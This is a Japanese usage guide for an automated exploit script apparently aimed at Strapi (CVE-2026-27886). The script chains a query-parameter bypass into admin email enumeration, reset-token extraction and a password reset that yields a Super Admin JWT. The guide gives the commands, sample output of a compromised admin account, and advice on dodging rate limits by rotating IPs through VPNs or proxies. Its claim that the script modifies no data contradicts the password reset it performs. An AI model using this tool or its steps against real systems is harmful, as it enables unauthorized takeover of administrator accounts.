CVE-2026-27886 自動エクスプロイト - 使用ガイド

このスクリプトが行うこと

4つのHTTPリクエストグループで完全なアカウント乗っ取りチェーンを自動化します:

脆弱性の検証 - ターゲットが脆弱であることを確認します
メールアドレスの列挙 - ブールオラクルを介して管理者メールを抽出します（約500リクエスト）
パスワードリセットのトリガー - Strapiのパスワード復旧フローを開始します
トークンの窃取 - 40文字のリセットトークンを窃取します（約320リクエスト）
アカウント乗っ取り - 窃取したトークンを使用してSuper AdminのJWTを取得します

基本的な使い方

検証のみモード（安全）

悪用せずにターゲットが脆弱かどうかを確認します:

./cve-2026-27886-exploit.py https://target/api/articles --verify-only

完全エクスプロイト（最速）

管理者メールが分からない場合にすべてを自動化します:

./cve-2026-27886-exploit.py https://target/api/articles

出力:

[+] Target: https://target/api/articles
[+] Base URL: https://target
[*] Verifying vulnerability...
    [+] Vulnerable: baseline=12, where_test=0
[*] Enumerating admin email...
    [email protected]
[*] Triggering password reset for [email protected]...
    [+] Password reset triggered (HTTP 204)
[*] Extracting 40-char reset token...
    [100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a
[*] Resetting password with stolen token...
    [+] Password reset successful!
    [+] JWT: eyJhbGciOiJIUzI1NiIs...
    [+] User: [email protected] (ID: 1)

[+] SUCCESS! Admin account compromised.
[+] JWT Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

メール列挙のスキップ（より高速）

管理者メールを既に知っている場合（約500リクエストを節約）:

./cve-2026-27886-exploit.py https://target/api/articles \
  --email [email protected]

カスタムパスワード

デフォルトの代わりにカスタムパスワードを設定します:

./cve-2026-27886-exploit.py https://target/api/articles \
  --email [email protected] \
  --password "MyPassword123!"

遅延を追加（レート制限を回避）

ターゲットにレート制限がある場合:

./cve-2026-27886-exploit.py https://target/api/articles \
  --delay 0.1

これにより、各リクエスト間に100ミリ秒の遅延が追加されます（完全なエクスプロイトには約2〜3分かかります）。

明示的なベースURL

/admin/* エンドポイントが別のホストにある場合:

./cve-2026-27886-exploit.py https://api.target/articles \
  --base-url https://admin.target

よくある問題

「JSON以外のレスポンス」

エンドポイントが間違っている（Strapi Content APIのコレクションではない）
試す: https://target/api/products、https://target/api/articles など

「メールアドレスの列挙に失敗」

コレクションが空（updated_by_id 外部キーがない）
管理者ロールがデータベース内の誰とも一致しない
複数存在する場合は別のエンドポイントを試す

「リセットトークンの抽出に失敗」

パスワードリセットがトリガーされなかった
推測したのとは異なる管理者メール
トークンの有効期限切れ（再試行してください。デフォルトでは約24時間有効です）

レート制限に達した場合

--delay 0.05 以上を追加する
または VPN/プロキシを使用してIPアドレスをローテーションする

セキュリティに関する注意事項

このスクリプトは:

✅ GET/POSTリクエストのみを行う（データの変更はしない）
✅ 脆弱なStrapiのクエリパラメータバイパスのみを対象とする
✅ Strapiの正規のパスワードリセットエンドポイントを使用する
✅ ターゲット上に保存されたアーティファクトを残さない
⚠️ 非常に目立つ - 800以上のリクエストを連続で送信する（ログで明らか）

人気

CVE-2026-27886-PoC-Account-Takeover